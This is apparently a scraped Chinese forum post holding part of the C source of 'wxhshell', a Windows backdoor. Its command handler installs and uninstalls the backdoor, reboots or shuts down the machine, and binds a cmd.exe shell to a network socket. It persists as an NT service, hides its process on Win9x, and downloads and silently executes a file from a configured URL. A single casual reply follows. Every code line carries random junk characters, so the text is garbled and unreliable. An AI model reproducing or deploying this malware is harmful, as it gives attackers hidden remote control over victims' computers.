  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K*[0dza$  
  } UR\ZN@O  
  else { Z#LUez;&t#  
I`#EhH  
    switch(cmd[0]) { p1uN ]T7>  
  = jBL'|k5  
  // 帮助 :3 PGf  
  case '?': { 7ozYq_ $  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <M`-`v6H  
    break; "j +v,js  
  } Q+/R JM?3@  
  // 安装 U!_sh<  
  case 'i': { ,^M]yr*~  
    if(Install()) NB3/A"}"02  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `lvh\[3^  
    else s V&`0N  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &8juS,b  
    break; 78^Y;2 P]W  
    } l4DeX\ly7f  
  // 卸载 w8U2y/:>  
  case 'r': { <xC: Ant  
    if(Uninstall()) Fv;u1Atiw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vFR 1UPF  
    else #[C< J#;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =sL(^UISl  
    break; 6O%=G3I  
    } cy9N:MR(c  
  // 显示 wxhshell 所在路径 cyDiA(ot&  
  case 'p': {  s"#CkG  
    char svExeFile[MAX_PATH]; M$gvq:}kt  
    strcpy(svExeFile,"\n\r"); # e$\~cPd  
      strcat(svExeFile,ExeFile); Y]?Kqc  
        send(wsh,svExeFile,strlen(svExeFile),0); ]C+eJ0"A  
    break; [3GKPX:OA/  
    } THb A(SM  
  // 重启 V5cb}xx  
  case 'b': { IOn`cbV:  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %~ ;nlDw  
    if(Boot(REBOOT)) kA1f[ AL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J,6!7a  
    else { Bfu/9ad  
    closesocket(wsh); ![qRoYpbg8  
    ExitThread(0); fdg[{T4:  
    } XlE$.  
    break; d 4[poi ~  
    } VvzPQk  
  // 关机 mMn2(  
  case 'd': { 5 1v r^  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); DIL)7K4  
    if(Boot(SHUTDOWN)) D[+|^,^>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |>M-+@g j  
    else { UU*0dSWr  
    closesocket(wsh); tbL1g{Dz,  
    ExitThread(0); ks)fQFSbu  
    } aA7S'[NjB  
    break; Yjpb+}  
    } #tCIuQ,  
  // 获取shell e OO!jrT:  
  case 's': { YmdsI+DbIu  
    CmdShell(wsh); &8R-C[A  
    closesocket(wsh); QxP` fKC8  
    ExitThread(0); ftDVxKDE?S  
    break; e-&L\M  
  } JkRGtYq  
  // 退出 9)8*FahW  
  case 'x': { R:SIs\%o  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [^cs~ n4  
    CloseIt(wsh); ")fOup@ ^a  
    break; ? +5" %4o  
    } V6A5(-%`y  
  // 离开 +#&el//  
  case 'q': { 0V{>)w!Fo  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); $%lHj+(  
    closesocket(wsh); >\N$>"~a  
    WSACleanup(); wY."Lw> 6  
    exit(1); Ubn   
    break; @G^j8Nl+J}  
        } :YkDn~@  
  } Y j ,9V],  
  } &Z;Eu'ia  
5%vP~vy_}  
  // 提示信息 sE(X:[Am  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yQ72v'  
} D'U\]'.  
  } +H5 jRw  
F#zQQ)(Pf  
  return; nS?S6G5h  
} Z&2 &wD  
PQr#G JG7  
// shell模块句柄 #JX|S'\x  
int CmdShell(SOCKET sock) ;,[EJR^CI  
{ 1q;I7_{ 2  
STARTUPINFO si; 853]CK<  
ZeroMemory(&si,sizeof(si)); PW(_yB;  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?S;et2f  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~:'gvR;x  
PROCESS_INFORMATION ProcessInfo; J tn&o"C  
char cmdline[]="cmd"; o(S^1j5  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); B8P@D"u  
  return 0; Dg?Ho2ih  
} ?j},O=JFn  
{EiG23!qV  
// 自身启动模式 }W Bm%f  
int StartFromService(void) T%z!+/=&^  
{ L%=BCmMx  
typedef struct 2n"*)3Qj  
{ X.r!q1_c  
  DWORD ExitStatus; +'{:zN5m  
  DWORD PebBaseAddress; 3R Y|l?n>  
  DWORD AffinityMask; fb;hf:B:  
  DWORD BasePriority; U O{xpY  
  ULONG UniqueProcessId; d1C/u@8^  
  ULONG InheritedFromUniqueProcessId; )%-\hl]  
}   PROCESS_BASIC_INFORMATION; \, X?K  
P17]}F``  
PROCNTQSIP NtQueryInformationProcess; $n_sGr  
Rqv+N]  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; T`0`]z!~  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Mz% d_  
]xVL11p  
  HANDLE             hProcess; SO8|]Fk  
  PROCESS_BASIC_INFORMATION pbi; *o2_EqXL*  
GtGyY0  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); k_.j%  
  if(NULL == hInst ) return 0; tL|L"t_5x  
Jf8'N ot  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &El[  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); g tSHy*3]  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); g]TI8&tP!L  
fitK2d   
  if (!NtQueryInformationProcess) return 0; [jmAMF<F  
{BwN4r46  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); oG U.U9~!  
  if(!hProcess) return 0; !*$'fn'bAA  
h;mQ%9 Yd  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; rkER`  
jw6ng>9  
  CloseHandle(hProcess); j2C^1:s@m  
^{:[^$f:l  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); s^x , S  
if(hProcess==NULL) return 0; *jqPKK/  
+O%a:d%  
HMODULE hMod; Qr xO erp  
char procName[255]; yp7,^l  
unsigned long cbNeeded; Phjf$\pt  
[eTck73  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); kdZ-<O7@  
Y7IlqC`i  
  CloseHandle(hProcess); 2oNPR+ -  
 &~f*q?xR  
if(strstr(procName,"services")) return 1; // 以服务启动 *? orK o  
kK_>*iCMo  
  return 0; // 注册表启动 Yru1@/;  
} #0$eTdx#  
PSt|!GST  
// 主模块 TBLk+AR  
int StartWxhshell(LPSTR lpCmdLine) ;/]c^y  
{ u9[w~U#  
  SOCKET wsl; |Z +E(F  
BOOL val=TRUE; \H'CFAuF  
  int port=0; ~wQ WWRk  
  struct sockaddr_in door; bB[*\  
vU=k8  
  if(wscfg.ws_autoins) Install(); 7dL=E"WL  
p>hCh5  
port=atoi(lpCmdLine); W(3~F2  
e?'k[ES^  
if(port<=0) port=wscfg.ws_port; . LVOaxT  
-2m Ogv  
  WSADATA data; F$pd]F!#  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; & m ";D  
-O,O<tOm  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   P#'DGW&W0  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); E*#60z7F  
  door.sin_family = AF_INET; "NI>HO.U  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); d4rJ ?qw  
  door.sin_port = htons(port); _}%# Yz  
*/@bNT9BgO  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { XVK[p=cIL  
closesocket(wsl); MLDg).5  
return 1; c^/?VmCQ}  
} k>@^M]%  
MyS7AL   
  if(listen(wsl,2) == INVALID_SOCKET) { ' c\TMb.  
closesocket(wsl); b|C,b"$N0  
return 1; XdXS^QA .s  
} ^i,0n}>  
  Wxhshell(wsl); F[qI fh4  
  WSACleanup(); 7|?@\ZE  
ROiX =i  
return 0; 0}3'h#33=  
hdWp  
} g 0_r  
\< +47+  
// 以NT服务方式启动 pHbguoH,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 3lEU$)QA3  
{ x)Om[jZE  
DWORD   status = 0; 5~TA(cb5  
  DWORD   specificError = 0xfffffff; }u$a PS<$!  
[[Eu?vQ9R  
  serviceStatus.dwServiceType     = SERVICE_WIN32; +c2=*IA/  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Woy[V  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ##\ZuJ^-  
  serviceStatus.dwWin32ExitCode     = 0; +_K;Pj]x  
  serviceStatus.dwServiceSpecificExitCode = 0; ,lGwW8$R  
  serviceStatus.dwCheckPoint       = 0; ?;kc%Rz  
  serviceStatus.dwWaitHint       = 0; =kkA  
0BZOr-i  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); #~qp8 w  
  if (hServiceStatusHandle==0) return; U@ QU8  
4BL,/(W] x  
status = GetLastError(); wOl-iN=  
  if (status!=NO_ERROR) SYhspB  
{ %3B>1h9N  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; uS10P7N}  
    serviceStatus.dwCheckPoint       = 0; 9>Z#o<*_/  
    serviceStatus.dwWaitHint       = 0; ])";Z  
    serviceStatus.dwWin32ExitCode     = status; YQd&rkr  
    serviceStatus.dwServiceSpecificExitCode = specificError; bI0+J)  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~Am %%$  
    return; dK`O,[}  
  } [t\Mu}b  
tTxo:+xg  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; OehB"[;+  
  serviceStatus.dwCheckPoint       = 0; @g5]w&o_  
  serviceStatus.dwWaitHint       = 0; vX)Y%I  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ap_+C~%+  
} ?B4QTx9B  
/9^0YC;Y*  
// 处理NT服务事件,比如:启动、停止 N.cRZm%  
VOID WINAPI NTServiceHandler(DWORD fdwControl) WK5bt2x  
{ EjCs  
switch(fdwControl) F4l6PGxF&\  
{ QU;C*}0Zl  
case SERVICE_CONTROL_STOP: K&oO+G^f  
  serviceStatus.dwWin32ExitCode = 0; K%@SS8!oy  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; f3&//h8  
  serviceStatus.dwCheckPoint   = 0; +f~3FXM  
  serviceStatus.dwWaitHint     = 0; aQuy*\$$  
  { ~x\ Q\Cxp  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @WE$%dr  
  } mM%BO(X{=  
  return; mT$tAwzTC{  
case SERVICE_CONTROL_PAUSE: "N"k8,LH  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; _Dt TG<E  
  break; [vT,zM  
case SERVICE_CONTROL_CONTINUE: N8Q{4c  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; akoKx)(<  
  break; ZdzGJ[$  
case SERVICE_CONTROL_INTERROGATE: 4v JIO{m  
  break; +Uk.|@b=-V  
}; U7'oI;C$e  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); wB GxJ\+M  
} u _^=]K;  
bhT]zsBK  
// 标准应用程序主函数 2UJ0%k  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 1T`"/*!  
{ q/ zdd3a  
1Tkdr 2  
// 获取操作系统版本 {.)D)8`<d  
OsIsNt=GetOsVer(); jC7XdYp  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 2}#PDh n  
X28WQdP,7  
  // 从命令行安装 6u8fF|s  
  if(strpbrk(lpCmdLine,"iI")) Install(); 0pz X!f1~  
/! 3:K<6@  
  // 下载执行文件 L4-Pq\2  
if(wscfg.ws_downexe) { Y'R1\Go-  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 5jk4k c  
  WinExec(wscfg.ws_filenam,SW_HIDE); .U {JI\  
} /PS]AM  
sP8B?Tn1W  
if(!OsIsNt) { ^9E(8DD  
// 如果时win9x,隐藏进程并且设置为注册表启动 !(o2K!v0  
HideProc(); D/>5\da+y  
StartWxhshell(lpCmdLine); a-=apD1RvG  
} *a@UV%u  
else )9,"~P2[R  
  if(StartFromService()) Hn.UJ4V  
  // 以服务方式启动 yh!vl&8M  
  StartServiceCtrlDispatcher(DispatchTable); -|mRJVl8  
else [G)Sq;  
  // 普通方式启动 MQu6Tm H  
  StartWxhshell(lpCmdLine); vnpX-c  
W5{e.eI}|  
return 0; n&JP/P3Y  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八